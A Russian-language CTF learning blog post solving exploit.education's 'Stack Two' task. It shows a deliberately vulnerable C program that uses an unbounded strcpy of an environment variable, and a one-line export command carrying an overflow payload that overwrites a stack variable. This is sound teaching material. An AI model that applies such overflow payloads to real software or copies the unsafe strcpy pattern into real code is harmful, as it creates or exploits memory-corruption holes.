Изучение PWN #3

Изучение PWN #3

Михаил

Полезная информация по ИБ и разборы задачек CTF.

Предыдущая задача - Изучение PWN #2

После небольшого перерыва на Киберколизей Codeby возвращаемся к изучению пывна. Третья задача с exploit.education - Stack Two.

int main(int argc, char **argv) {
 struct {
  char buffer[64];
  volatile int changeme;
 } locals;
 char *ptr;
 printf("%s\n", BANNER);
 ptr = getenv("ExploitEducation");
 if (ptr == NULL) {
  errx(1, "please set the ExploitEducation environment variable");
 }
 locals.changeme = 0;
 strcpy(locals.buffer, ptr);
 if (locals.changeme == 0x0d0a090a) {
  puts("Well done, you have successfully set changeme to the correct value");
 } else {
  printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
    locals.changeme);
 }
 exit(0);
}

 char *ptr;

Здесь у нас всё тоже самое, что и в прошлом заданини, но появляется новая функция getenv(). Поэтому пэйлоад необходимо поместить в переменную окружения ExploitEducation.

export ExploitEducation=`python3 -c "print('a' *64 + '\x0d\x0a\x09\x0a'[::-1])"`
./stack-two

Следующее задание - Изучение PWN #4

Report Page